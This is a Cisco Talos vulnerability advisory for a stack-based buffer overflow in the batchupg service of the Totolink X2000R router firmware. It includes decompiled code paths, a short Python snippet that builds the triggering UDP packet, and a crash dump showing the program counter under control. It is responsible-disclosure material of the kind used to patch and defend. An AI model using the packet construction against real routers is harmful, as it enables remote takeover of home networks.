TALOS-2026-2434
CVE-2026-10133
A stack-based buffer overflow vulnerability exists in the batchupg functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327)
X2000R - https://www.totolink.net/home/menu/newstpl/menu_newstpl/products/id/242.html
9.1 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE-121 - Stack-based Buffer Overflow
The Totolink X2000R is a popular budget gigabit home router primarly found in eastern markets. Supporting IPV6, WPA3, mesh capabilities among other features, the Totolink X2000R is a solid choice for the price point.
The Totolink X2000R mainly relies on the standalone boa binary for all web administration and subsequent configuration. While normally a security risk in itself due to the age, it appears that the version running on the X2000R has been patched. Regardless, for the current set of vulnerabilities we only pay attention to the Totolink-specific issues, so we start from the point where authentication has already occurred via the /boafrm/formLogin webpage, and then we can successfully interact with another /boafrm/form* page, each of which have a corresponding callback. While today’s vulnerability is within a seperate binary entirely, in order to get that binary to run we must examinne the /boafrm/formBuploadSetting form’s corresponding function:
0044d01c char* formBuploadSetting(struct client* arg1)
0044d03c char* fw_key = get_from_postbody(cli: arg1, "fw_key", &cgi_var_pref) // [1]
0044d03c
0044d048 if (sx.d(*fw_key) != 0)
0044d068 inifile_set("/tmp/firware.ini", "firware", "csid", fw_key) // [2]
0044d068
0044d07c char* fw_ver = get_from_postbody(cli: arg1, "fw_ver", &cgi_var_pref) // [3]
0044d07c
0044d088 if (sx.d(*fw_ver) != 0)
0044d0a8 inifile_set("/tmp/firware.ini", "firware", "svn", fw_ver) // [4]
0044d0a8
0044d0b4 system(string: "killall batchupg >/dev/null 2>&1")
0044d0c0 system(string: "batchupg & >/dev/null 2>&1") // [5]
0044d0d4 char* result = get_from_postbody(cli: arg1, "submit-url", &cgi_var_pref)
0044d0d4
0044d0e0 if (sx.d(*result) == 0)
0044d108 return result
0044d108
0044d0f8 return send_302_redirect(cli: arg1, redirect-url: result) __tailcall
Thankfully quite short, this function handles a few key aspects: first it reads the fw_key[1] and fw_ver[3] parameters from our input HTTP POST parameters and then writes the csid and svn configuration values to the /tmp/firware.ini file at [2] and [4]. Finally our key batchupg binary gets run at [5], so we jump into analysis therein:
00402c5c int32_t main(int32_t argc, char** argv, char** envp)
// [...]
00402e74
00402e74 if (pthread_create(&var_38, 0, UnicastReceive, 0) == 0) // [6]
00402f40 pthread_detach(var_38)
00402f40
00402e98 int32_t var_34
00402e98
00402e98 if (pthread_create(&var_34, 0, PostFileToDevice, 0) == 0)
00402f50 pthread_detach(var_34)
00402f50
00402ea0 BroadcastReceive() // [7]
00402ea0 noreturn
00402ea0
00402f30 perror(str: "bind")
00402f30
00402f08 printf("[Batch Upgrade:%d]Unicast socket init error!\n", 0x2f8)
00402f08
00402f20 return 0xffffffff
Alot of socket setup code has been truncated out, but it suffices to say that the program sets up a broadcast udp socket on port 13977 for listening and also a unicast udp socket that can be ignored which is utilized in the UnicastReceive() function [6]. For this vulnerability the broadcast socket is much more important so we look to the BroadcastReceive() function at [7]:
004029f0 void BroadcastReceive() __noreturn
// [...]
00402af8 if (recvfrom(fd, &msg, len: 0xa000, flags: 0, &srcaddr, &var_a03c) u>= 0x94) // [8]
00402b00 uint32_t* i = &msg
00402b04 struct copied copied
00402b04 uint32_t* x = &copied
00402b04
00402b30 do // [9]
00402b10 int32_t $a3_1 = i[1]
00402b14 int32_t $a2_1 = i[2]
00402b18 int32_t $a1_4 = i[3]
00402b1c *x = *i
00402b20 x[1] = $a3_1
00402b24 x[2] = $a2_1
00402b28 x[3] = $a1_4
00402b2c i = &i[4]
00402b34 x = &x[4]
00402b30 while (i != &msg[0x90])
00402b30
00402b3c *x = *i
00402b50 rfd = &readfds
To start, it’s worth just noting that while the program does read in 0xa000 bytes to an appropritately sized stack buffer at [8], only the first 0x90 bytes are copied in the loop at [9] before being looked at further:
00402b4c if (copied.magic == 0x26d19a37)
00402b6c rfd = &readfds
00402b6c
00402b68 if (memcmp(s1: &copied.mac, s2: &_00_00_aa_bb_cc_dd, n: 6) != 0)
00402b70 int32_t* svn = copied.svn
00402b74 uint32_t tftpMode = copied.tftpMode
00402b7c transfer_mode = tftpMode
00402b7c
00402b88 if (debug_switch != 0)
00402bb8 printf("[%s:%d]csid=%s,tftpMode=%d,svn=%d,fw_csid=%s,fw_svn=%d,\n", "BroadcastReceive", 0x25b, &copied.csid, tftpMode,
00402bb8 svn, &csid, svn)
00402bb8
00402bc8 rfd = &readfds
00402bc8
00402bc4 if (sx.d(csid) != 0)
00402be0 rfd = &readfds
00402be0
00402bdc if (strcmp(str1: &csid, str2: &copied.csid) == 0)
00402be8 if (svn == svn)
00402be8 break
00402be8
00402bf4 int32_t var_38
00402bf4 __builtin_memset(dest: &var_38, ch: 0, count: 0x12)
00402c3c sprintf(dst: &var_38, "%02X:%02X:%02X:%02X:%02X:%02X", zx.d(copied.mac[0]), zx.d(copied.mac[1]), zx.d(copied.mac[2]),
00402c3c zx.d(copied.mac[3]), zx.d(copied.mac[4]), zx.d(copied.mac[5]))
00402c4c send_broadcast_resp(&var_38, &copied) // [10]
00402c58 rfd = &readfds
To save some time, it suffices to say that we want to reach the send_broadcast_resp function at [10], and the following commented python code will generate a buffer that can reach the function:
####################
buf = b""
buf += struct.pack("<I", 0x26d19a37) # magic bytes
buf += struct.pack("<I", 0x1) # tftp mode
buf += struct.pack("<I", 0x12345678) # svn (just needs to be != fw_ver from above...)
buf += b"\x11\x22\x33\x44\x55\x66" # mac addr, needs to be != \x00\x00\xaa\xbb\xcc\xdd
buf += csid # the csid, this needs to match our fw_key HTTP POST param from above
buf += b"\x00"
while len(buf) < 0x94:
buf += b"A"
With such a buffer generated, we can then look inside send_broadcast_resp to see further processing:
004028cc int32_t send_broadcast_resp(char* arg1, struct copied* arg2)
004028f8 data_4139d8 = arg2->mac[0].d
00402900 data_4139dc = arg2->mac[4]
00402908 data_4139dd = arg2->mac[5]
0040290c add_multicast_route()
00402914 sub_401e10()
00402920 add_mac_ip_time(arg1)
00402950 sendto(broadcast_sock, &bcast_resp, 0x120, 0, &data_413ae0, 0x10)
00402974 char var_30[0x20]
00402974 sprintf(dst: &var_30, "%s-%d", &arg2->csid, ror.d(__wsbh(arg2->svn), 0x10)) // [11]
00402988 add_to_upgLog(arg1, &var_30, 0xffffffff)
0040299c sub_402058(arg1, &var_30, 0xfffffffe)
0040299c
004029ac if (transfer_mode != 0)
004029e0 add_cj_item_mac(inet_ntoa(data_4139c4))
004029e0
004029c8 return 0
We can quickly see that our csid parameter is copied to the stack at [11], resulting in a stack-based buffer overflow and subsequent command execution.
Thread 1 "batchupg" received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
[^_^] SIGSEGV
***********************************************************************************
***********************************************************************************
v0 : 0x00000000 | s3[X] : 0x004139de
v1[H] : 0x00414838 | s4[S] : 0x7fbfa8b8
a0[H] : 0x00414838 | s5[X] : 0x0041391c
a1[H] : 0x00414868 | s6[L] : 0x77102464
a2 : 0x00000005 | s7 : 0x00000002
a3[X] : 0x00403139 | t8[X] : 0x004138ec
t0 : 0x00000000 | t9[L] : 0x7718986c
t1 : 0x00000000 | k0 : 0x00000000
t2[H] : 0x00414860 | k1 : 0x00000000
t3 : 0xfffffffc | gp : 0x771a4dd0
t4 : 0x00000040 | sp[S] : 0x7fbf0760
t5 : 0x00000001 | ra : 0x41414141
t6 : 0x000007a8 | status : 0x0000f413
t7 : 0x00410000 | badvaddr : 0x41414140
s0 : 0x41414141 | pc : 0x41414141
s1 : 0x41414141 | fcsr : 0x00000000
s2 : 0x41414141 | restart : 0x00000000
***********************************************************************************
Invalid $pc @ 0x41414141
#0 0x41414141 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
***********************************************************************************
2026-06-16 - vulndev@cisco.com - Initial Vendor Notification
2026-06-23 - vulndiscovery@external.cisco.com - Follow-up sent
2026-06-25 - fae_hardware@zioncom.net - Vendor Acknowledged
2026-06-25 - vulndiscovery@external.cisco.com - Resent all notifications
2026-07-16 - vulndiscovery@external.cisco.com - Follow-up sent
2026-09-15 - vulndiscovery@external.cisco.com - Follow-up sent
Lilith Wyatt of Cisco Talos